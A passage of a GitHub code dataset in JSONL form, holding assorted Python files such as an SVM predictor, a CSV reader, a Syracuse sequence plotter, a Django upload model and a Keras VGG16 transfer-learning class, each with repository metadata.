_predict_sample(self, x):\n result = self._bias\n for z_i, x_i, y_i, in zip(self._weights, self._vectors, self._labels):\n result += z_i * y_i * self._kernel(x_i, x)\n # print(result)\n return np.sign(result).item()\n\n def predict(self, X):\n labels = []\n for x in X:\n # print(x)\n labels.append(self._predict_sample(x))\n l = np.array(labels)\n print(l)\n return l","repo_name":"will-jac/sskm","sub_path":"SVM.py","file_name":"SVM.py","file_ext":"py","file_size_in_byte":2701,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"32082482534","text":"def cyclically_iteration(lst,spec_index):\n result = []\n length = len(lst)\n for i in range(length):\n element_index = spec_index % length\n result.append(lst[element_index])\n spec_index += 1\n return result\n\nchars = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h']\nprint(\"Original list:\")\nprint(chars)\nspec_index = 3\nprint(\"\\nIterate the said list cyclically on specific index position\",spec_index,\":\")\nprint(cyclically_iteration(chars,spec_index))\nspec_index = 5\nprint(\"\\nIterate the said list cyclically on specific index position\",spec_index,\":\")\nprint(cyclically_iteration(chars,spec_index))\n","repo_name":"yagnesh77/python","sub_path":"mylist/list181.py","file_name":"list181.py","file_ext":"py","file_size_in_byte":619,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"11783812408","text":"import os\nfrom collections import defaultdict\nimport params\nimport utils\nfrom bigrams import Bigramer\nfrom data import load_data, create_tokenizer, tokenize_q_a, prepare_data\nimport conversation\nimport numpy as np\n\nfrom generate_multiple_answers import beam_search\n\n\ndef analyze_checkpoints():\n questions, answers = load_data(params.data_file_directory, params.files, None)\n VOCAB_SIZE = 15001\n\n tokenizer = create_tokenizer(questions + answers, VOCAB_SIZE, 'UNK')\n # tokenizer = utils.load_and_unpickle(\"test_models/tokenizer\")\n\n tokenized_questions, tokenized_answers = tokenize_q_a(tokenizer, questions, answers)\n\n reversed_tokenizer_word_dict = {index: text for text, index in tokenizer.word_index.items()}\n mle_model = utils.fit_mle_model(tokenized_answers, reversed_tokenizer_word_dict)\n\n max_len_questions, max_len_answers, encoder_input_data, decoder_input_data, decoder_output_data = \\\n prepare_data(tokenized_questions, tokenized_answers)\n\n checkpoints = [params.dir_name + file for file in os.listdir(params.dir_name) if file.endswith(\"hdf5\")]\n print(f\"{len(checkpoints)} checkpoints\")\n\n results = defaultdict(list)\n model_score = []\n\n # model evaluations section\n questions, answers = load_data(params.data_file_directory, params.test_files)\n enc_in_data, dec_in_data, dec_out_data = generate_test_values(questions[:1000], answers[:1000], tokenizer)\n\n # generating answer and perplexity section\n texts = questions[:5]\n\n for checkpoint in checkpoints:\n net_model, encoder_inputs, encoder_states, decoder_inputs, \\\n decoder_embedding, decoder_lstm, decoder_dense = utils.load_keras_model(checkpoint)\n\n enc_model, dec_model = conversation.make_inference_models(encoder_inputs, encoder_states, decoder_inputs,\n decoder_embedding,\n decoder_lstm, decoder_dense)\n\n score = net_model.evaluate([enc_in_data, dec_in_data], dec_out_data)\n model_score.append(score)\n print(score)\n for text in texts:\n print(text)\n states_values = enc_model.predict(conversation.str_to_tokens(tokenizer, text, max_len_questions))\n empty_target_seq = np.zeros((1, 1))\n empty_target_seq[0, 0] = tokenizer.word_index['start']\n end_index = tokenizer.word_index['end']\n\n predictions, _ = beam_search(states_values, empty_target_seq, dec_model, end_index)\n\n decoded_texts = []\n for prediction in predictions:\n decoded_text = ['start']\n for word_index in prediction[1:]:\n decoded_text.append(reversed_tokenizer_word_dict.get(word_index, 'UNK'))\n decoded_texts.append(decoded_text)\n result = choose_best_fit(decoded_texts, mle_model)\n results[text].append(result)\n\n utils.pickle_and_save(results, params.perplexity_file)\n utils.pickle_and_save(model_score, params.model_summary_file)\n\n\ndef generate_test_values(questions, answers, tokenizer):\n tokenized_questions, tokenized_answers = tokenize_q_a(tokenizer, questions, answers)\n prepared_data = prepare_data(tokenized_questions, tokenized_answers)\n max_len_questions, max_len_answers, encoder_input_data, decoder_input_data, decoder_output_data = prepared_data\n return encoder_input_data, decoder_input_data, decoder_output_data\n\n\ndef choose_best_fit(texts, mle_model):\n # bigramer = Bigramer(dict=utils.load_and_unjson(\"preprocessed_big_train_bigramer\"))\n\n # bigrammed = [bigramer.replace_unks(words) for words in texts]\n\n without_unks = [words for words in texts if 'UNK' not in words]\n\n best = None\n if len(without_unks) == 0:\n # jeśli każdy zawiera co najmniej jednego UNK, to wybieramy najlepszy i usuwamy z niego UNKi\n # best = utils.choose_best(bigrammed, mle_model)\n best = utils.choose_best(texts, mle_model, return_score=True)\n # best = bigramer.strip_unks(best)\n else:\n # w przeciwnym razie wybieramy najlepszego spośród tych bez UNKów\n best = utils.choose_best(without_unks, mle_model, return_score=True)\n\n best = best[0][1:-1], best[1] # strip 'start' and 'end'\n return best\n\n\ndef show_stats():\n stats = utils.load_and_unpickle(params.perplexity_file)\n\n for question, results in stats.items():\n print(f\"Question: {question}\")\n for answer, perplexity in results:\n print(f\"{perplexity} -> {answer}\")\n print(end=\"\\n\\n\")\n\n model_stats = utils.load_and_unpickle(params.model_summary_file)\n for loss, accuracy in model_stats:\n print(loss, accuracy)\n\n\nif __name__ == '__main__':\n analyze_checkpoints()\n # show_stats()\n","repo_name":"sikorski-as/chatbot","sub_path":"analyzis.py","file_name":"analyzis.py","file_ext":"py","file_size_in_byte":4810,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"70919453586","text":"class IntFromOneToTen:\n def __set_name__(self, owner, name):\n self.public_name = name\n self.private_name = '_' + name\n\n def __get__(self, instance, owner=None):\n value = getattr(instance, self.private_name)\n return value\n\n def __set__(self, instance, value):\n for rating in value:\n if not isinstance(rating, int) or rating < 1 or rating > 10:\n raise ValueError\n setattr(instance, self.private_name, value)\n\n\nclass Student:\n academic_performance = IntFromOneToTen()\n\n def __init__(self, last_name, first_name, group_number, academic_performance: list):\n self.last_name = last_name\n self.first_name = first_name\n self.group_number = group_number\n self.academic_performance = academic_performance\n\n @property\n def first_name(self):\n return self._first_name\n\n @first_name.setter\n def first_name(self, value):\n if isinstance(value, str):\n self._first_name = value\n else:\n raise ValueError\n\n @first_name.deleter\n def first_name(self):\n self._first_name = None\n\n @property\n def last_name(self):\n return self._last_name\n\n @last_name.setter\n def last_name(self, value):\n if isinstance(value, str):\n self._last_name = value\n else:\n raise ValueError\n\n @last_name.deleter\n def last_name(self):\n self._last_name = None\n\n def get_ratings(self):\n for rating in self.academic_performance:\n return rating\n\n def average_rating(self):\n average_rating = 0\n for rating in self.academic_performance:\n average_rating = average_rating + int(rating)\n return int(average_rating / len(self.academic_performance))\n\n\nclass School:\n def __init__(self, list_of_students: list):\n self.list_of_students = list_of_students\n\n def add_student(self, student: Student):\n self.list_of_students.append(student)\n\n def get_best_students(self):\n for student in self.list_of_students:\n if student.get_ratings() == 5 or student.get_ratings == 6:\n print(f'Last Name - {student.last_name} Group - {student.group_number}')\n\n def get_students_by_group(self, group):\n for student in self.list_of_students:\n if student.group_number == group:\n print(student.first_name, student.last_name)\n\n def get_students_without_exams(self):\n for student in self.list_of_students:\n if student.average_rating() >= 7:\n print(student.first_name, student.last_name)\n\n\ns1 = Student('Marley', 'Boob', 1, [5, 6, 7, 8, 9])\nprint(s1.first_name)\nprint(s1.last_name)\nprint(s1.average_rating())\nprint(s1.get_ratings())\n\ns2 = Student('Arely', 'Mark', 1, [1, 2, 3, 4, 5])\nprint(s2.first_name)\nprint(s2.last_name)\nprint(s2.average_rating())\nprint(s2.get_ratings())\n\nsc1 = School([s1])\nprint(sc1.list_of_students)\nsc1.add_student(s2)\nprint(sc1.list_of_students)\nsc1.get_students_without_exams()\nsc1.get_best_students()\nsc1.get_students_by_group(1)\n","repo_name":"AlexSMiheev/TMS","sub_path":"homework10/task_two.py","file_name":"task_two.py","file_ext":"py","file_size_in_byte":3098,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"6120574236","text":"\"\"\"\r\n Auteur : Joël Dendaletche\r\n\r\n Ouverture et lecture d'un fichier au format CSV\r\n Comma Separated values\r\n https://fr.wikipedia.org/wiki/Comma-separated_values\r\n\r\n utilisé pour échanger des données entre logiciels :\r\n carnet d'adresses sur gmail\r\n excel, libre office calc\r\n\"\"\"\r\ndef lireCSV(pathFichier , clefPrim = False) :\r\n \"\"\"\r\n Fonction qui lit un fichier csv et construit une liste de dictionnaires\r\n clefPrim est un booleen qui par défaut vaut False\r\n si clefPrim = True, une clef primaire numérique unique est ajoutée à chaque\r\n dictionnaire\r\n \"\"\"\r\n # vérifications de la conformité de pathFichier\r\n longueurFichier = len(pathFichier)\r\n # l'expression : assert (test logique) , \"message si c'est faux\"\r\n # permet de traquer les erreurs (bugs)\r\n assert type(pathFichier) == str , \"Erreur : le format du fichier doit être du texte\"\r\n assert pathFichier[longueurFichier-4:longueurFichier] == '.csv' or pathFichier[longueurFichier-4:longueurFichier] == '.CSV' , \"Erreur : le format du fichier doit finir par .csv ou .CSV\"\r\n\r\n try : # essaye d'ouvrir le fichier et si cela ne fonctionne pas \r\n # renvoie un message d'erreur explicatif -> cf. except IOError = erreur d'entrée sortie (IO = In/Out)\r\n with open(pathFichier, 'r') as fichier : # le bloc with ferme le fichier dès que le bloc est terminé\r\n BDD = [] #la table de base de données sera une liste de dictionnaires\r\n n = 0 #compteur de lignes\r\n\r\n for ligne in fichier:\r\n if n == 0 : #lecture de la première ligne qui contient les clefs des dictionnaires\r\n clefs = ligne.split(',')\r\n nChamps = len(clefs) #nombre de valeurs (et de clefs) dans chaque dictionnaire\r\n l = len(clefs[nChamps-1]) # longueur de la dernière clef\r\n clefs[nChamps-1] = clefs[nChamps-1][0:l-1] #enlève le dernier caractère '\\n' de retour à la ligne en fin de ligne\r\n else :\r\n dictionnaire = {} # le dictionnaire est initialisé\r\n # https://www.w3schools.com/python/python_strings.asp\r\n # pour voir les méthodes associées aux objets de type string\r\n enregistrement = ligne.split(',')\r\n m = 0\r\n #création d'une clef primaire\r\n if clefPrim : dictionnaire [\"clefPrim\" ] = n\r\n for valeur in enregistrement :\r\n if m == nChamps - 1 :\r\n l = len(valeur) # longueur de la dernière valeur\r\n valeur = valeur[0:l-1] #enlève le dernier caractère '\\n' de retour à la ligne en fin de ligne\r\n\r\n dictionnaire [clefs [m] ] = valeur # ajoute au dictionnaire le couple : clefs [m] : valeur\r\n m += 1\r\n BDD.append(dictionnaire)\r\n # print(\"Enregistrement n° \" , n, \" : \", dictionnaire)\r\n n += 1 # compte les lignes lues\r\n return BDD #renvoi la liste de dictionnaires = BDD\r\n \r\n except IOError:\r\n print('An error occured trying to read the file : \\nune erreur est survenue en essayant de lire le fichier (absent ou ayant un autre nom).')\r\n \r\n except ValueError:\r\n print('Non-numeric data found in the file.')\r\n\r\n except ImportError:\r\n print (\"NO module found\")\r\n \r\n except EOFError:\r\n print('Why did you do an EOF on me?')\r\n\r\n except KeyboardInterrupt:\r\n print('You cancelled the operation.')\r\n\r\n except:\r\n print('An error occured.')\r\n \r\n########################################################################\r\n# les codes suivants sont des codes de test :\r\n########################################################################\r\n########################################################################\r\n# fonction d'affichage de la table\r\ndef printTable (table) :\r\n \"\"\" Fonction d'affichage dictionnaire par dictionnaires de la table \"\"\"\r\n n = 0\r\n for fiche in table :\r\n print(\"Fiche n° \", n, \" de la table :\", fiche)\r\n n +=1\r\n######################################################################## \r\ndef main() :\r\n \"\"\"\r\n Fonction de test de lireCSV\r\n \"\"\"\r\n BDD = lireCSV(\"BDD.csv\")\r\n printTable(BDD)\r\n print(\"\\nLa table contient \", len(BDD), \"lignes ou fiches ou enregistrements.\")\r\n\t# permet de vérifier que la liste de dictionnaire est \r\n\t# bien créée à partir de la lecture du fichier, sinon cela renvoie un \r\n\t# message d'erreur et affiche None (le retour de la fonction)\r\n\r\nif __name__ == \"__main__\":\r\n \"\"\"\r\n Ne fonctionne que si c'est ce fichier qui est activé directement\r\n La variable __name__ prend la valeur du fichier activé en premier.\r\n \"\"\"\r\n main()\r\n","repo_name":"NsiLycee/premiere","sub_path":"programmeNSI/cours/exo/exo3.py","file_name":"exo3.py","file_ext":"py","file_size_in_byte":4914,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"19305418251","text":"import pandas as pd\r\n\r\nfrom corrector_utils import manipulate_language\r\nfrom corrector_utils import correct_data_type\r\nfrom corrector_utils import manipulate_language\r\nfrom corrector_utils import get_alternatives_from_sum\r\nfrom corrector_utils import get_answers\r\nfrom corrector_utils import sorting_data\r\nfrom corrector_utils import calculate_score\r\nfrom corrector_utils import clean_discursive\r\n\r\ndf_raw_objectives = pd.read_csv('data/raw/df_all.csv')\r\ndf_raw_answ_day_1_eng = pd.read_excel('data/raw/df_answers_day_1_eng.xlsx')\r\ndf_raw_answ_day_1_spa = pd.read_excel('data/raw/df_answers_day_1_spa.xlsx')\r\ndf_raw_answ_day_2 = pd.read_excel('data/raw/df_answers_day_2.xlsx')\r\n\r\ndf_raw_answ_day_1_eng['language'] = 'English'\r\ndf_raw_answ_day_1_spa['language'] = 'Spanish'\r\ndf_raw_answ_day_2['language'] = '2º day'\r\ndf_answers = pd.concat([df_raw_answ_day_1_eng, df_raw_answ_day_1_spa,df_raw_answ_day_2])\r\n\r\ndf_clean_objectives = (df_raw_objectives.pipe(manipulate_language)\r\n .pipe(correct_data_type)\r\n .pipe(get_alternatives_from_sum,'student_answer')\r\n .pipe(get_answers, get_alternatives_from_sum(df_answers,'test_answer'))\r\n .pipe(sorting_data))\r\n\r\ndf_clean_objectives['score'] = df_clean_objectives.apply(calculate_score, axis=1)\r\n\r\ndf_clean_objectives.to_pickle('data/processed/df_objectives.pkl')\r\n\r\n# Dealing with Writting test and Discursive questions\r\ndf_raw_write = pd.read_csv('data/raw/df_writing.csv')\r\ndf_raw_disc = pd.read_csv('data/raw/df_discursive.csv')\r\n\r\ndf_raw_write.fillna('', inplace=True)\r\ndf_raw_disc.fillna('', inplace=True)\r\ndf_disc = clean_discursive(df_raw_disc)\r\n\r\ndf_disc.to_pickle('data/processed/df_discursive.pkl')\r\ndf_raw_write.to_pickle('data/processed/df_writing.pkl')","repo_name":"murillostein/test-corrector","sub_path":"corrector.py","file_name":"corrector.py","file_ext":"py","file_size_in_byte":1864,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"1938668028","text":"# Exercice 2 : Suite de Syracuse / Conjecture de Collatz\n\n'''\nSuite de Syracuse : \nu(n+1) :\n - un/2 si un est pair\n - 3*un+1 si un est impair\n'''\n\n# Fonction syracuse recursive qui affiche sous forme de liste les valeurs de la suite de Syracuse de n \ndef suite_syracuse_recursive(n):\n if n == 1:\n return [1]\n else:\n return [n] + suite_syracuse_recursive(n//2 if n%2 == 0 else 3*n+1)\n\n'''\nprint(f\"Suite de Syracuse : {suite_syracuse_recursive(13)}\")\n'''\n\n# Afficher :\n# - la suite de Syracuse de n\n# - le temps de vol de la suite -> le plus petit indice de n tel que syracuse(n) == 1\n# - La valeur maximale de la suite\n\nsyracuse = suite_syracuse_recursive(27)\n\n\nprint(f\"Suite de Syracuse : {syracuse}\")\nprint(f\"Temps de vol : {len(syracuse)}\")\nprint(f\"Altitude : {max(syracuse)}\")\n\n\nimport matplotlib.pyplot as plt\nimport numpy as np\n\n# Afficher graphiquement la suite suite de Syracuse\nplt.figure()\nplt.plot(np.arange(1, len(syracuse)+1), syracuse)\n\n# Effectuer les suites de syracuse pour tous les entiers de 1 à 100, et mettre sur un graphique leurs temps de vol et altitude\naltitudes = []\ntps_de_vol = []\n\nMAX = 1000\n\nfor i in range(1, MAX + 1):\n altitudes.append(max(suite_syracuse_recursive(i)))\n tps_de_vol.append(len(suite_syracuse_recursive(i)))\n\n\n# Afficher en rouge les altitudes\nplt.figure()\nplt.plot(np.arange(1, MAX + 1), altitudes, color='red')\n# Afficher en bleue les temps de vol\nplt.figure()\nplt.plot(np.arange(1, MAX + 1), tps_de_vol, color='blue')\n\n\nplt.show()\n","repo_name":"MaximeBattu/CPE-1","sub_path":"S6/Algo/TP/TP3/ex2.py","file_name":"ex2.py","file_ext":"py","file_size_in_byte":1519,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"11063072702","text":"import uuid\nimport os\nfrom django.db import models\nfrom django.db.models.signals import pre_delete\nfrom django.dispatch import receiver\nfrom imagekit.models import ImageSpecField\nfrom imagekit.processors import ResizeToFill\n\nfrom .utils import upload_image_path\n\nclass UploadManager(models.Model):\n\t\"\"\"\n\t\tRepresents a uploader image file\n\t\"\"\"\n\n\ttitle = models.CharField(verbose_name='title image', max_length=128, blank=True)\n\n\timage = models.ImageField(verbose_name='image', upload_to=upload_image_path)\n\tthumbnail = ImageSpecField(\n\t\tsource='image',\n\t\tprocessors=[ResizeToFill(530, 470)],\n\t\toptions={'quality': 1000},\n\t)\n\n\timage_width = models.CharField(verbose_name='image width', max_length=16, default='0', blank=True)\n\timage_height = models.CharField(verbose_name='image height', max_length=16, default='0', blank=True)\n\ttype_image = models.CharField(verbose_name='type image', max_length=12, default='jpg', blank=True)\n\tcreated_at = models.DateTimeField(auto_now_add=True)\n\n\tdef __str__(self):\n\t\treturn self.title\n\n\n@receiver(pre_delete, sender=UploadManager)\ndef pre_delete_image(sender, instance, **kwargs):\n\tobject_current = sender.objects.get(pk=instance.pk)\n\n\tif object_current:\n\t\tos.remove(object_current.image.path)\n\t\tos.remove(object_current.thumbnail.path)\n\t\tr = os.path.dirname(object_current.thumbnail.path)\n\t\tos.rmdir(r)\n","repo_name":"Alireza-QK/upload_manager","sub_path":"manager/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1340,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"11651851829","text":"\"\"\"user-id-index-autoincrement\n\nRevision ID: 0be96f55f50c\nRevises: a9857021bfe4\nCreate Date: 2023-07-14 14:33:05.400533\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = \"0be96f55f50c\"\ndown_revision = \"a9857021bfe4\"\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_index(op.f(\"ix_account_user_id\"), \"account\", [\"user_id\"], unique=False)\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_index(op.f(\"ix_account_user_id\"), table_name=\"account\")\n # ### end Alembic commands ###\n","repo_name":"vichannnnn/fastapi-boilerplate","sub_path":"backend/migrations/versions/0be96f55f50c_user_id_index_autoincrement.py","file_name":"0be96f55f50c_user_id_index_autoincrement.py","file_ext":"py","file_size_in_byte":703,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"48"} +{"seq_id":"44293533024","text":"# import random\n# import math\n\n\n# # Num nums\n# class Num:\n\n# n = 0\n \n# def __init__(self, the, _has):\n# self.t = the\n# self._has = _has\n# self.lo = -math.inf\n# self.hi = math.inf\n# self.isSorted = True\n\n# def nums(self):\n# if not self.isSorted:\n# self.t.sort(self._has)\n# self.isSorted = True\n\n# return self._has\n\n# # per\n# def per(self, t, p):\n# p = math.floor(((p or 0.5) * self.t) + 0.5)\n# return t[max(1, min(self.t, p))]\n\n# # Num Add\n# def add(self, v, pos):\n# if type(v) == int or type(v) == float:\n# self.n += 1\n# self.lo = min(v, self.lo)\n# self.hi = max(v, self.hi)\n\n# if self._has < self.t.nums:\n# pos = 1 + self._has\n# elif random.random() < self.t.nums/self.n:\n# pos = self._has - 1\n\n# if pos:\n# self.isSorted = False\n# self._has[pos] = int(v)\n# else:\n# print(\"Symbol encountered!!\")\n\n# # Num Div\n# def div(self, a):\n# a = self.nums()\n# return (self.per(a, 0.9) - self.per(a, 0.1)) / 2.58\n\n# # Num Mid\n# def mid(self):\n# return self.per(self.nums(), 0.5)\n\n\n\n\n\nimport math\nimport random\nimport sys\nsys.path.append(\"./code\")\nfrom functions import per,the\n\n\nclass Num:\n \n #'Num' summarizes the stream of numbers\n def __init__(self,c=0,s=str()):\n self.n=0\n self.at=c\n self.name=s\n self._has=(0) * [the['nums']]\n self.low=math.inf\n self.high=-math.inf\n self.isSorted=True\n if(len(s)>0 and s[-1]=='-'):\n self.w=-1\n else:\n self.w=1\n \n def __str__(self):\n return \"{\"+ f\" n:{self.n}, at:{self.at+1}, name:{self.name}, low:{self.low}, high:{self.high}, isSorted:{self.isSorted}, w:{self.w}\"+\"}\"\n\n #Return kept numbers, sorted.\n def nums(self):\n # if (not self.isSorted):\n # list(sorted(self._has))\n self._has.sort()\n return self._has\n \n \n\n #Reservoir sampler. Keep atmost 'the[nums]' numbers \n # (if we run out of space delete something old at random and add new)\n def add(self,ele,pos=None):\n the['nums'] = 32\n if ele!='?':\n self.n=self.n+1\n self.low=min(self.low,int(ele))\n self.high=max(self.high,int(ele))\n if ( (len(self._has))<(the['nums']) ):\n pos=1+len(self._has)\n elif ( random.randint(0,len(self._has)) < (the['nums'])/self.n ):\n pos=random.randint(1,the['nums'])\n if pos!=None:\n self.isSorted=False\n self._has.insert(pos,int(ele))\n the['nums'] = 512\n\n\n\n #Diversity (standard deviation from Nums, entropy for Syms)\n def div(self):\n a=self.nums()\n return (per(a,0.9)-per(a,0.1))/2.58 \n \n #Central tendency (median for Nums, mode for Syms)\n def mid(self):\n return per(self.nums(),0.5) \n\n","repo_name":"aadiltajani/CSC510-HW-GRP19","sub_path":"code/num.py","file_name":"num.py","file_ext":"py","file_size_in_byte":3079,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"12186510937","text":"import time\n\nimport numpy as np\nfrom keras.engine.saving import load_model\nfrom keras.preprocessing.image import ImageDataGenerator, img_to_array, load_img\nfrom keras.models import Sequential\nfrom keras.layers import Dropout, Flatten, Dense, Convolution2D, MaxPooling2D, GlobalAveragePooling2D\nfrom keras.optimizers import RMSprop, Adam, SGD\nfrom keras import applications, regularizers\nfrom keras.utils.np_utils import to_categorical\nimport matplotlib.pyplot as plt\nimport math\nimport cv2\nimport uuid\nimport json\nfrom PIL import ImageFile\nfrom tensorflow.python.framework import graph_util\nfrom tensorflow.python.framework import graph_io\nfrom keras import backend as K\nimport os.path as osp\nimport os\nimport tensorflow as tf\n\n\nclass Cnn3(object):\n\n def __init__(self, mid=None):\n self.img_width, self.img_height = 128, 128\n if mid is None:\n self.id = uuid.uuid4()\n print(\"Creating new classifier with id \", str(self.id))\n else:\n self.id = mid\n print(\"Using classifier with id \", str(self.id))\n self.train_dir = \"data/train/\"\n self.test_dir = \"data/test/\"\n\n # VGG16\n self.bottleneck_train_features = \"model/bottleneck/bottleneck_features_train.npy\"\n self.bottleneck_test_features = \"model/bottleneck/bottleneck_features_validation.npy\"\n self.bottleneck_model = \"model/bottleneck/bigmodel.h5\"\n\n # TOP model\n self.top_model_weights = 'model/bottleneck/bottleneck_' + str(self.id) + \".h5\"\n self.class_indices = \"model/\" + str(self.id) + \"_class_indices.npy\"\n\n # TRAIN and MODEL params\n self.epochs = 50\n self.batch_size = 16\n self.learning_rate = 0.00001\n\n self.model = None\n self.history = None\n\n def save_bottlebeck_features(self):\n\n print(\"Saving bottleneck features started\")\n # build the VGG16 network\n model = applications.VGG16(include_top=False, weights='imagenet',\n input_shape=(self.img_width, self.img_height, 3))\n\n ImageFile.LOAD_TRUNCATED_IMAGES = True\n datagen = ImageDataGenerator(\n shear_range=0.2,\n zoom_range=0.2,\n horizontal_flip=True,\n rescale=1. / 255)\n\n generator = datagen.flow_from_directory(\n self.train_dir,\n target_size=(self.img_width, self.img_height),\n batch_size=self.batch_size,\n class_mode=None,\n shuffle=False)\n\n print(generator.class_indices)\n\n nb_train_samples = len(generator.filenames)\n num_classes = len(generator.class_indices)\n\n predict_size_train = int(math.ceil(nb_train_samples / self.batch_size))\n\n bottleneck_features_train = model.predict_generator(\n generator, predict_size_train)\n\n np.save(self.bottleneck_train_features,\n bottleneck_features_train)\n\n print(\"Bottleneck train features saved as \", self.bottleneck_train_features)\n\n datagen = ImageDataGenerator(rescale=1. / 255)\n generator = datagen.flow_from_directory(\n self.test_dir,\n target_size=(self.img_width, self.img_height),\n batch_size=self.batch_size,\n class_mode=None,\n shuffle=False)\n\n nb_validation_samples = len(generator.filenames)\n\n predict_size_validation = int(\n math.ceil(nb_validation_samples / self.batch_size))\n\n bottleneck_features_validation = model.predict_generator(\n generator, predict_size_validation)\n\n np.save(self.bottleneck_test_features,\n bottleneck_features_validation)\n print(\"Bottleneck validation features saved as \", self.bottleneck_test_features)\n\n model.save(self.bottleneck_model)\n print(\"Bottleneck models saved\")\n\n def get_top_model_input_shape(self):\n return np.load(self.bottleneck_train_features).shape[1:]\n\n def set_top_model(self, model):\n self.model = model\n\n def train_top_model(self):\n\n print(\"Training top model started\")\n ImageFile.LOAD_TRUNCATED_IMAGES = True\n datagen_top = ImageDataGenerator(\n rescale=1. / 255)\n\n generator_top = datagen_top.flow_from_directory(\n self.train_dir,\n target_size=(self.img_width, self.img_height),\n batch_size=self.batch_size,\n class_mode=None,\n shuffle=False)\n\n nb_train_samples = len(generator_top.filenames)\n num_classes = len(generator_top.class_indices)\n\n # save the class indices to use use later in predictions\n np.save(self.class_indices, generator_top.class_indices)\n print(\"Class indices save as \", self.class_indices)\n\n train_data = np.load(self.bottleneck_train_features)\n train_labels = generator_top.classes\n train_labels = to_categorical(train_labels, num_classes=num_classes)\n\n datagen_top = ImageDataGenerator(rescale=1. / 255)\n generator_top = datagen_top.flow_from_directory(\n self.test_dir,\n target_size=(self.img_width, self.img_height),\n batch_size=self.batch_size,\n class_mode=None,\n shuffle=False)\n\n nb_validation_samples = len(generator_top.filenames)\n\n validation_data = np.load(self.bottleneck_test_features)\n validation_labels = generator_top.classes\n validation_labels = to_categorical(\n validation_labels, num_classes=num_classes)\n\n if self.model is None:\n self.model = Sequential()\n\n self.model.add(Convolution2D(128, 3, 3, input_shape=train_data.shape[1:], activation='relu'))\n self.model.add(Dropout(0.5))\n self.model.add(MaxPooling2D(pool_size=(2, 2)))\n\n # self.model.add(GlobalAveragePooling2D())\n\n self.model.add(Flatten())\n self.model.add(Dense(128, activation='relu'))\n self.model.add(Dropout(0.5))\n self.model.add(Dense(num_classes, activation='softmax', kernel_regularizer=regularizers.l2(0.01)))\n\n # 'SGD'\n self.model.compile(optimizer=RMSprop(lr=0.0001, rho=0.9, epsilon=None, decay=0.0),\n loss='categorical_crossentropy', metrics=['accuracy'])\n\n self.history = self.model.fit(train_data, train_labels,\n epochs=self.epochs,\n batch_size=self.batch_size,\n validation_data=(validation_data, validation_labels))\n\n self.model.save_weights(self.top_model_weights)\n print(\"Top model trained, weights saved as \", self.top_model_weights)\n\n (eval_loss, eval_accuracy) = self.model.evaluate(\n validation_data, validation_labels, batch_size=self.batch_size, verbose=1)\n\n print(\"Accuracy: {:.2f}%\".format(eval_accuracy * 100))\n print(\"Loss: {}\".format(eval_loss))\n\n self.evaluate()\n\n @staticmethod\n def visualize_class_activation_map(img_path):\n model = load_model(\"model/bottleneck/bigmodel.h5\")\n original_img = cv2.imread(img_path, 1)\n width, height, _ = original_img.shape\n\n # Reshape to the network input shape (3, w, h).\n img = np.array([np.transpose(np.float32(original_img), (2, 0, 1))])\n\n # Get the 512 input weights to the softmax.\n layers = model.layers\n class_weights = model.layers[-2].get_weights()[0]\n final_conv_layer = model.layers[-2]\n get_output = K.function([model.layers[0].input],\n [final_conv_layer.output,\n model.layers[-1].output])\n [conv_outputs, predictions] = get_output([img])\n conv_outputs = conv_outputs[0, :, :, :]\n\n # Create the class activation map.\n cam = np.zeros(dtype=np.float32, shape=conv_outputs.shape[1:3])\n target_class = 1\n for i, w in enumerate(class_weights[:, target_class]):\n cam += w * conv_outputs[i, :, :]\n\n def evaluate(self):\n plt.figure(1)\n plt.subplot(211)\n plt.plot(self.history.history['acc'])\n plt.plot(self.history.history['val_acc'])\n plt.title('model accuracy')\n plt.ylabel('accuracy')\n plt.xlabel('epoch')\n plt.legend(['train', 'test'], loc='upper left')\n\n plt.subplot(212)\n plt.plot(self.history.history['loss'])\n plt.plot(self.history.history['val_loss'])\n plt.title('model loss')\n plt.ylabel('loss')\n plt.xlabel('epoch')\n plt.legend(['train', 'test'], loc='upper left')\n plt.savefig(\"statistics/\" + str(self.id) + \"_\" + str(time.time()) + \".png\")\n\n with open('statistics/' + str(self.id) + \"_\" + str(time.time()) + '.json', 'w') as outfile:\n json.dump(self.history.history, outfile, indent=4)\n\n def predict(self, image_path, img_name):\n\n class_dictionary = np.load(self.class_indices).item()\n\n num_classes = len(class_dictionary)\n\n orig = cv2.imread(image_path)\n\n print(\"Loading and preprocessing image...\")\n image = load_img(image_path, target_size=(self.img_width, self.img_height))\n image = img_to_array(image)\n image = image / 255\n image = np.expand_dims(image, axis=0)\n # TODO show what' s left\n\n # build the VGG16 network\n model = applications.VGG16(include_top=False, weights='imagenet')\n # get the bottleneck prediction from the pre-trained VGG16 model\n bottleneck_prediction = model.predict(image)\n\n # build top model\n model = Sequential()\n model.add(Flatten(input_shape=bottleneck_prediction.shape[1:], name=\"csakmert\"))\n model.add(Dense(256, activation='relu', kernel_regularizer=regularizers.l2(0.01)))\n model.add(Dense(num_classes, activation='softmax'))\n\n model.compile(optimizer=RMSprop(lr=0.0001),\n loss='categorical_crossentropy', metrics=['accuracy'])\n\n model.load_weights(self.top_model_weights)\n\n # use the bottleneck prediction on the top model to get the final\n # classification\n 